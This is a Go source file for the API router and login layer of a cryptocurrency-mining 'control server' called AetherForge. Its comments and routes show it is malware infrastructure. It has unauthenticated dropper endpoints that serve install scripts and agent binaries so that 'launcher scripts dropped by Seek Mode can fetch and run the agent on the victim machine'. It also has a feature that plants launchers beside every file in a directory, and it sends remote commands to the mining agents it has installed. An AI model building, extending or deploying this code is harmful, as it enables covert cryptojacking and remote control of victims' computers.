package api

import (
	"crypto/rand"
	"crypto/sha256"
	"crypto/subtle"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/builder"
	"crypto-miner-server/internal/db"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
	"github.com/go-chi/cors"
	"golang.org/x/crypto/bcrypt"
)

// authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex — value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
	authSessionCache   = map[string]time.Time{}
	authSessionCacheMu sync.Mutex
	authCacheTTL       = 5 * time.Minute
)

func authCacheKey(user, pass string) string {
	h := sha256.Sum256([]byte(user + ":" + pass))
	return hex.EncodeToString(h[:])
}

func authCacheHit(user, pass string) bool {
	key := authCacheKey(user, pass)
	authSessionCacheMu.Lock()
	defer authSessionCacheMu.Unlock()
	exp, ok := authSessionCache[key]
	return ok && time.Now().Before(exp)
}

func authCacheSet(user, pass string) {
	key := authCacheKey(user, pass)
	authSessionCacheMu.Lock()
	authSessionCache[key] = time.Now().Add(authCacheTTL)
	// Prune expired entries opportunistically.
	if len(authSessionCache) > 512 {
		now := time.Now()
		for k, v := range authSessionCache {
			if now.After(v) {
				delete(authSessionCache, k)
			}
		}
	}
	authSessionCacheMu.Unlock()
}

var (
	// authUsers is populated from data/users.json on startup.  Plain-text copies
	// for console display live in data/login-credentials.json (0600).
	authUsers         = map[string]string{}
	usersFilePath     string
	usersMu           sync.RWMutex
	authLoadMu        sync.Mutex
	authLoadedDataDir string

	// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
	// agent-facing REST endpoints (/api/v1/agent/*).  Set once from main.go via
	// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
	fleetSecretForAgentPaths   string
	fleetSecretForAgentPathsMu sync.RWMutex

	// rotateSecretFn is called when POST /server/rotate-secret is hit.
	// Wired from main.go so the server can generate, persist, and propagate the new secret.
	rotateSecretFn func() (string, error)
)

// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
// X-Fleet-Secret headers on /api/v1/agent/* routes.
func SetAgentPathSecret(secret string) {
	fleetSecretForAgentPathsMu.Lock()
	fleetSecretForAgentPaths = secret
	fleetSecretForAgentPathsMu.Unlock()
}

// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
func SetRotateSecretFn(fn func() (string, error)) {
	rotateSecretFn = fn
}

// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
func isBcryptHash(s string) bool {
	return len(s) > 4 && s[0] == '$' && s[1] == '2'
}

// hashPassword returns a bcrypt hash of password (cost 12).
func hashPassword(password string) (string, error) {
	h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
	if err != nil {
		return "", err
	}
	return string(h), nil
}

// checkPassword verifies password against the stored value.  Stored values are
// always bcrypt hashes after migration; plain-text legacy values are accepted
// once then re-hashed automatically.
func checkPassword(stored, provided string) bool {
	if isBcryptHash(stored) {
		return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
	}
	// Legacy plain-text comparison (constant-time).
	return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
}

func loginSidecarPath(dataDir string) string {
	return filepath.Join(dataDir, "login-credentials.json")
}

func readLoginSidecar(path string) (map[string]string, error) {
	data, err := os.ReadFile(path)
	if err != nil {
		return nil, err
	}
	var creds map[string]string
	if err := json.Unmarshal(data, &creds); err != nil {
		return nil, err
	}
	if len(creds) == 0 {
		return nil, fmt.Errorf("empty login sidecar")
	}
	return creds, nil
}

func writeLoginSidecar(path string, creds map[string]string) error {
	if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
		return err
	}
	data, err := json.MarshalIndent(creds, "", "  ")
	if err != nil {
		return err
	}
	return os.WriteFile(path, data, 0600)
}

func upsertLoginSidecar(dataDir, username, password string) error {
	path := loginSidecarPath(dataDir)
	creds, _ := readLoginSidecar(path)
	if creds == nil {
		creds = map[string]string{}
	}
	creds[username] = password
	return writeLoginSidecar(path, creds)
}

func printStartupCredentials(dataDir string) {
	creds, err := readLoginSidecar(loginSidecarPath(dataDir))
	if err != nil || len(creds) == 0 {
		return
	}
	fmt.Println(formatLoginBanner(creds))
}

func formatLoginBanner(creds map[string]string) string {
	var b strings.Builder
	b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
	b.WriteString("║           AetherForge — Dashboard Login          ║\n")
	b.WriteString("║                                                  ║\n")
	for user, pass := range creds {
		fmt.Fprintf(&b, "║  Username : %-34s║\n", user)
		fmt.Fprintf(&b, "║  Password : %-34s║\n", pass)
		b.WriteString("║                                                  ║\n")
	}
	b.WriteString("║  Also saved in data/login-credentials.json         ║\n")
	b.WriteString("║  Change passwords in Calibrate → Users.          ║\n")
	b.WriteString("╚══════════════════════════════════════════════════╝\n")
	return b.String()
}

// LoadUsers loads dashboard accounts and prints login credentials to the console.
// Call once during startup (before heavy init) so operators always see passwords.
func LoadUsers(dataDir string) {
	ensureUsersLoaded(dataDir)
	printStartupCredentials(dataDir)
}

func ensureUsersLoaded(dataDir string) {
	abs, err := filepath.Abs(dataDir)
	if err != nil {
		abs = dataDir
	}
	authLoadMu.Lock()
	defer authLoadMu.Unlock()
	if authLoadedDataDir == abs {
		return
	}
	bootstrapUsers(dataDir)
	authLoadedDataDir = abs
}

func bootstrapUsers(dataDir string) {
	usersFilePath = filepath.Join(dataDir, "users.json")
	sidecarPath := loginSidecarPath(dataDir)
	usersMu.Lock()
	defer usersMu.Unlock()

	data, err := os.ReadFile(usersFilePath)
	if err == nil {
		var loaded map[string]string
		if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
			migrated := false
			for u, v := range loaded {
				if !isBcryptHash(v) {
					if h, herr := hashPassword(v); herr == nil {
						loaded[u] = h
						migrated = true
						log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
					}
				}
			}
			authUsers = loaded
			if migrated {
				d, _ := json.MarshalIndent(authUsers, "", "  ")
				_ = os.WriteFile(usersFilePath, d, 0600)
			}
			reconcileLoginSidecar(dataDir, sidecarPath, loaded)
			return
		}
	}

	pw := generateRandomPassword()
	hashed, herr := hashPassword(pw)
	if herr != nil {
		hashed = pw
		log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
	}
	authUsers = map[string]string{"admin": hashed}
	if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
		d, _ := json.MarshalIndent(authUsers, "", "  ")
		if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
			log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
		}
		_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
	}
}

func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
	if _, err := readLoginSidecar(sidecarPath); err == nil {
		return
	}
	if _, ok := users["admin"]; !ok {
		return
	}
	pw := generateRandomPassword()
	hashed, herr := hashPassword(pw)
	if herr != nil {
		log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
		return
	}
	users["admin"] = hashed
	authUsers = users
	d, _ := json.MarshalIndent(authUsers, "", "  ")
	if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
		log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
		return
	}
	if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
		log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
		return
	}
	log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
}

// generateRandomPassword returns an 8-character password (4 random bytes as hex).
func generateRandomPassword() string {
	b := make([]byte, 4)
	if _, err := rand.Read(b); err != nil {
		return "aether1!"
	}
	return hex.EncodeToString(b)
}

func saveUser(username, password string) error {
	hashed, err := hashPassword(password)
	if err != nil {
		return fmt.Errorf("bcrypt: %w", err)
	}
	usersMu.Lock()
	authUsers[username] = hashed
	if usersFilePath == "" {
		usersFilePath = filepath.Join("data", "users.json")
	}
	dataDir := filepath.Dir(usersFilePath)
	if err := os.MkdirAll(dataDir, 0755); err != nil {
		usersMu.Unlock()
		return err
	}
	data, _ := json.MarshalIndent(authUsers, "", "  ")
	if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
		usersMu.Unlock()
		return err
	}
	usersMu.Unlock()
	if err := upsertLoginSidecar(dataDir, username, password); err != nil {
		log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
	}
	return nil
}

func basicAuthMiddleware(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.Method == http.MethodOptions {
			next.ServeHTTP(w, r)
			return
		}

		path := r.URL.Path

		// Health check and one-liner installer endpoints are always open.
		// NOTE: build download/artifact routes are intentionally NOT in this list —
		// they require fleet-secret or Basic Auth (see isDownload block below).
		if path == "/api/v1/health" ||
			path == "/get" || path == "/install.sh" || path == "/install.ps1" {
			next.ServeHTTP(w, r)
			return
		}

		// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
		// in the X-Fleet-Secret header instead of Basic auth. This ensures only
		// legitimately forged agents can call these endpoints.
		// A missing or empty fleet secret is always rejected — the server auto-
		// generates one at startup so this state should never occur in production.
		if strings.HasPrefix(path, "/api/v1/agent/") {
			fleetSecretForAgentPathsMu.RLock()
			secret := fleetSecretForAgentPaths
			fleetSecretForAgentPathsMu.RUnlock()
			if secret == "" {
				http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
				return
			}
			provided := r.Header.Get("X-Fleet-Secret")
			if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
				http.Error(w, "Forbidden", http.StatusForbidden)
				return
			}
			next.ServeHTTP(w, r)
			return
		}

		// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
		// This lets forged agents self-upgrade (they have the fleet secret baked in)
		// while still requiring credentials for unauthenticated callers.
		isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
			(strings.HasSuffix(path, "/download") ||
				strings.Contains(path, "/artifact/") ||
				strings.HasSuffix(path, "/uninstall"))
		if isDownload {
			fleetSecretForAgentPathsMu.RLock()
			secret := fleetSecretForAgentPaths
			fleetSecretForAgentPathsMu.RUnlock()
			provided := r.Header.Get("X-Fleet-Secret")
			if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
				next.ServeHTTP(w, r)
				return
			}
			// Fall through to Basic Auth below.
		}

		user, pass, ok := r.BasicAuth()
		if !ok {
			w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
			http.Error(w, "Unauthorized", http.StatusUnauthorized)
			return
		}

		// Fast path — skip bcrypt if this credential pair was recently validated.
		// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
		if !authCacheHit(user, pass) {
			usersMu.RLock()
			storedHash, exists := authUsers[user]
			usersMu.RUnlock()

			if !exists || !checkPassword(storedHash, pass) {
				w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
				http.Error(w, "Unauthorized", http.StatusUnauthorized)
				return
			}
			// Credential verified — cache it for the next few minutes.
			authCacheSet(user, pass)
		}

		next.ServeHTTP(w, r)
	})
}

func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
	ensureUsersLoaded(dataDir)

	r := chi.NewRouter()

	// Middleware (global)
	r.Use(middleware.Logger)
	r.Use(middleware.Recoverer)
	r.Use(cors.Handler(cors.Options{
		AllowedOrigins: []string{"*"},
		AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
		// X-Fleet-Secret is required by agent-facing endpoints; include it so
		// browser-based callers (dev tools, custom dashboards) are not blocked
		// by CORS preflight when sending that header.
		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
		AllowCredentials: false,
	}))

	// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
	r.Route("/api/v1", func(r chi.Router) {
		r.Use(basicAuthMiddleware)
		h := NewHandler(database)

		r.Get("/health", h.HealthCheck)
		r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
			override := ""
			if publicURLOverride != nil {
				override = publicURLOverride()
			}
			GetServerInfo(w, r, override)
		})

		// Dashboard
		r.Get("/dashboard/stats", h.GetDashboardStats)

		// Agents
		r.Get("/agents", h.ListAgents)
		r.Get("/agents/{id}", h.GetAgent)
		r.Get("/agents/{id}/stats", h.GetAgentStats)
		if fleetHandler != nil {
			r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
			r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
			r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
			r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
			r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
			r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
			r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
		}

		// Fleet ops
		if fleetHandler != nil {
			r.Get("/alerts", fleetHandler.GetAlerts)
			r.Get("/pools/status", fleetHandler.GetPoolStatus)
			r.Get("/ai/activity", fleetHandler.GetAIActivity)
			r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
			r.Get("/market/xmr", fleetHandler.GetXMRPrice)
		}

		// Shares
		r.Get("/shares", h.GetRecentShares)

		// Builds
		r.Get("/builds", h.ListBuilds)
		r.Put("/builds/{id}/pin", h.PinBuild)
		r.Delete("/builds/pin", h.UnpinAll)
		r.Delete("/builds/{id}", h.DeleteBuild)
		r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
		r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
		r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)

		// Config
		r.Get("/config", configHandler.ServeHTTP)
		r.Put("/config", configHandler.ServeHTTP)

		// Builder
		r.Post("/builder/build", builderHandler.ServeHTTP)
		r.Post("/builder/estimate", builderHandler.ServeEstimate)
		// Path Forge: walk a local server path, place launchers next to every file
		if pathForgeHandler != nil {
			r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
		}
		r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
			token := chi.URLParam(req, "token")
			if builderHandler.CancelBuild(token) {
				writeJSON(w, map[string]interface{}{"cancelled": true})
			} else {
				http.Error(w, "build not found or already completed", http.StatusNotFound)
			}
		})

		// Blueprints (config presets)
		r.Get("/blueprints", blueprintHandler.ServeHTTP)
		r.Post("/blueprints", blueprintHandler.ServeHTTP)
		r.Delete("/blueprints", blueprintHandler.ServeHTTP)
		r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)

		// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
		// Forged agents with the old secret will be rejected until re-forged.
		r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
			if rotateSecretFn == nil {
				http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
				return
			}
			newSecret, err := rotateSecretFn()
			if err != nil {
				http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
				return
			}
			writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
		})

		// User Management
		r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
			var payload struct {
				Username string `json:"username"`
				Password string `json:"password"`
			}
			if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
				http.Error(w, "Invalid username or password", http.StatusBadRequest)
				return
			}
			if err := saveUser(payload.Username, payload.Password); err != nil {
				http.Error(w, "Failed to save user", http.StatusInternalServerError)
				return
			}
			writeJSON(w, map[string]interface{}{"success": true})
		})

		// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
		// Not exposed in dashboard client.ts; see agent/client and README API auth table.
		r.Post("/agent/decide", aiHandler.HandleDecide)
		r.Post("/agent/report", aiHandler.HandleReport)
		r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
	})

	// WebSocket
	r.Get("/ws/agent", wsHub.HandleAgentWS)
	r.Get("/ws/dashboard", wsHub.HandleDashboardWS)

	// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
	if dropperHandler != nil {
		r.Get("/get", dropperHandler.ServeGet)
		r.Get("/install.sh", dropperHandler.ServeSh)
		r.Get("/install.ps1", dropperHandler.ServePs1)
	}

	// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
	// dropped by Seek Mode can fetch and run the agent on the victim machine.
	// Unauthenticated (the drop URL itself is the secret).
	r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
	r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
	r.Get("/api/download/agent-linux", serveAgentBinary("linux"))

	// Serve frontend SPA
	if webRoot != "" {
		// Check if webroot directory exists
		if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
			// Create a file server for the webroot
			fileServer := http.FileServer(http.Dir(webRoot))

			// SPA fallback: serve index.html for all non-API, non-WebSocket routes
			r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
				// Clean the path
				path := strings.TrimPrefix(r.URL.Path, "/")
				if path == "" || strings.Contains(path, "..") {
					w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
					http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
					return
				}
				fullPath := filepath.Join(webRoot, path)

				// Check if the file exists
				if _, err := os.Stat(fullPath); err == nil {
					fileServer.ServeHTTP(w, r)
					return
				}

				// SPA fallback - serve index.html (never cache: hashed assets change each build)
				w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
				http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
			})
		} else {
			// Fallback if webroot doesn't exist
			r.Get("/", func(w http.ResponseWriter, r *http.Request) {
				w.Header().Set("Content-Type", "text/html")
				w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
					<h1>Crypto Miner Control Server</h1>
					<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
					<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
				</body></html>`))
			})
		}
	} else {
		r.Get("/", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Content-Type", "text/html")
			w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
				<h1>Crypto Miner Control Server</h1>
				<p>Server is running. No frontend configured.</p>
				<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
			</body></html>`))
		})
	}

	return r
}

// serveAgentBinary returns an HTTP handler that streams the agent binary for
// the requested platform. It looks for the binary next to the running server
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
//   - windows → crypto-miner-agent.exe
//   - mac/linux → crypto-miner-agent  (no extension)
func serveAgentBinary(platform string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		exe, err := os.Executable()
		if err != nil {
			http.Error(w, "server exe not found", http.StatusInternalServerError)
			return
		}
		dir := filepath.Dir(exe)

		var candidates []string
		var dlName string

		switch platform {
		case "windows":
			dlName = "crypto-miner-agent.exe"
			candidates = []string{
				filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
				filepath.Join(dir, "crypto-miner-agent.exe"),
			}
		case "mac":
			dlName = "crypto-miner-agent"
			candidates = []string{
				filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
				filepath.Join(dir, "crypto-miner-agent-darwin"),
				filepath.Join(dir, "agent", "crypto-miner-agent"),
			}
		case "linux":
			dlName = "crypto-miner-agent"
			candidates = []string{
				filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
				filepath.Join(dir, "crypto-miner-agent-linux"),
				filepath.Join(dir, "agent", "crypto-miner-agent"),
			}
		}

		var binPath string
		for _, c := range candidates {
			if _, err := os.Stat(c); err == nil {
				binPath = c
				break
			}
		}

		if binPath == "" {
			log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
			http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
			return
		}

		w.Header().Set("Content-Type", "application/octet-stream")
		w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
		http.ServeFile(w, r, binPath)
	}
}
